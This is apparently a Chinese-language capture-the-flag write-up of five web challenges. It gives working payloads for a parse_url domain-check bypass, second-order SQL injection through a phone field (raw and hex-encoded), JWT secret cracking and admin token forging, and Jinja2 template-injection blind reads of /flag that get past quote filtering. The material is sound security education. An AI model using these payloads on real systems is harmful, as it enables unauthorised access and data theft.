Web
comein
题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。
查看源码,发现如下代码:
很明显又是考察 parse_url 函数绕过,只不过开头多了对点号的匹配,绕过即可。使用 payload :.@c7f.zhuque.com/..//
可以自己本地调试一下。
gold
题目:还在上小学的小明同学开发了一款游戏,你能通关吗?
Burpsuite 抓包会发现浏览器一直发送POST数据,应该是通过Ajax来发起请求的:
根据题目提示: 收集1000金币即可过关 。尝试直接将参数 getGod 的值修改为1000,发现会触发检测机制。
于是使用 Burpsuite 抓包,用 Intruder 模块从0跑到1001,在 getGod=1001 的数据包中获得flag:
PS:用多线程跑会触发游戏的反作弊机制,用单线程按顺序跑就能出flag。
phone
题目:find the flag.
看到这道题目,马上就想到 2017广东省强网杯(第三题) 。测试了一下,果然在用户注册处的电话处存在二次注入,测试结果如下:
可以发现这里查询结果为: 有1人和你电话相似哦~ ,而时间上这是我注册的第一个用户,数据库中不可能有用户的电话和我一样,所以应该是执行了我们刚刚构造的 SQL语句 ,因为后面的布尔逻辑值为真。所以我们分别构造获取表名、列名、字段的 payload 如下:
获取表名:
1 | aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc# |
1 | username=test4&password=test4&phone=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323®ister=Login |
获取列名:
1 | aaa' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc# |
1 | username=test6&password=test6&phone=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323®ister=Login |
获取字段:
1 | aaa' union select f14g from flag order by 1 desc# |
1 | username=test7&password=test7&phone=0x6161612720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323®ister=Login |
这里可能有人会不明白为什么要加上 order by 1 desc ,大家可以试试下面这个 payload :
1 | aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database()# |
1 | username=test8&password=test8&phone=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d6461746162617365282923®ister=Login |
实际上后台的 SQL语句 类似下图 第一个SQL语句 :
i_am_admin
题目:你能登录进去吗?
抓取登录数据包,发现 JWT :
登录进去可以发现用于加密的 secret key :
使用这个 secret key 到 https://jwt.io/ 生成 admin 对应的 token 值:
使用该 token 值访问网站即可获得flag:
mmmmy
题目:find the flag.
抓包发现又是python的web程序,使用了JWT:(随手用test/test登录即可看到)
使用 c-jwt-cracker 爆破 secret key :
发现只有 admin 才能用留言板功能,所以 伪造admin的token 登录:
virink 师傅提醒说留言板处存在 SSTI ,于是测试了下,果然存在,只不过过滤了双花括号的写法,那我们可以换成流程控制结构的写法 执行语句 ,测试如下:
那么后面的数据就要盲注出来了,使用的 payload 类似如下:
1 | text={% if open('/flag','r').read()[0]=='f' %}1{% else %}0{% endif %} |
这里实际上过滤了单、双引号,我们可以使用以下payload进行绕过:
1 | text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}good{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz |
getflag程序如下:
1 | import requests,sys |
PS:在交流的过程中,发现可以不用盲注,直接使用 jinjia2 的 print 即可打印出 flag 。